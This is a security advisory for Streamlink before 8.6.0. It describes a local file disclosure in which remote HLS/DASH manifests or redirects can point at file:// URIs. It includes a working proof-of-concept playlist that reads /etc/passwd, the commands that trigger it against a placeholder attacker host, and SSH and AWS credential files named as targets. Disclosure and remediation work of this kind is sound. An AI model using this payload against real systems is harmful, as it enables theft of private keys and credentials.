Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.

Summary

Streamlink's HLS and DASH parsers do not validate the URI scheme of segment entries and other resources. A remote .m3u8 HLS playlist or .mpd DASH manifest can list file:///path/to/file as a segment, and streamlink will read that local file and write its contents to the output stream.

Confirmed on streamlink 8.3.0 (latest release at time of report).

Description

Segment URIs from an HLS playlist or DASH manifest are passed to the worker without any scheme check. The underlying HTTP session accepts file:// URIs, which resolve against the local filesystem. There is no scheme allowlist at the parser level, so any path readable by the streamlink process is treated as a valid segment.

The attacker does not need local access to the victim. A playlist/manifest hosted on an attacker-controlled server, fetched by streamlink on the victim's machine, is enough to trigger the read.

Impact

A remote attacker hosting a malicious playlist/manifest can make any client running streamlink against that URL read arbitrary local files within the streamlink process's read scope and write them into the output file.

Reachable files depend on the user running streamlink. Typical targets: ~/.ssh/id private keys, ~/.aws/credentials, shell history, application config files holding API tokens, and world-readable system files like /etc/passwd.

Affected scenarios

- Server-side or automated deployments (recording bots, media pipelines, CI jobs processing playlists). The output file is often uploaded, logged, or otherwise exposed, which gives direct disclosure to attacker-reachable locations. - Interactive desktop use. File contents land on the victim's disk and can leak through secondary channels: the user sharing the recording, cloud sync, backup, etc.

This bug does not on its own send file contents back to the attacker. The disclosure goes to the output sink. Full exfiltration depends on what happens to that file afterward.

Steps to reproduce

Tested on streamlink 8.3.0, Linux (Kali).

1. Save as playlist.m3u8:

m3u #EXTM3U #EXT-X-VERSION:3 #EXT-X-TARGETDURATION:5 #EXT-X-PLAYLIST-TYPE:VOD #EXTINF:5.0, file:///etc/passwd #EXT-X-ENDLIST

2. Host the playlist on a remote server reachable by the victim. For testing, a VPS, a tunnel (cloudflared, ngrok), or a static host like GitHub Pages all work.

3. On the victim machine:

sh streamlink "hls://https://attacker-host.example/playlist.m3u8" best -o /tmp/proof.ts

3. Inspect the output:

sh cat /tmp/proof.ts

4. The output contains the contents of /etc/passwd from the machine running streamlink.

Local reproduction (equivalent, simpler to set up):

sh python3 -m http.server 8080 # in directory containing playlist.m3u8 streamlink "hls://http://127.0.0.1:8080/playlist.m3u8" best -o /tmp/proof.ts cat /tmp/proof.ts

The remote case was confirmed independently using a tunnel.

Proposed remediation

Allowlist http and https for segment URIs in the HLS parser. Reject any other scheme (file, ftp, data, etc.) at parse time, before the URI reaches the fetcher.

The check needs to cover:

- Segment URIs in the top-level manifest. - Segment URIs in nested manifests pulled during playback (variant playlists referenced from a master playlist). - Other URI fields the fetcher consumes — #EXT-X-KEY and #EXT-X-MAP URIs at minimum. Worth auditing the rest for the same issue.

The check belongs in the parser, not the fetcher. Putting it next to the untrusted input means downstream callers don't each need to re-implement it, and any future fetcher path inherits the protection by default.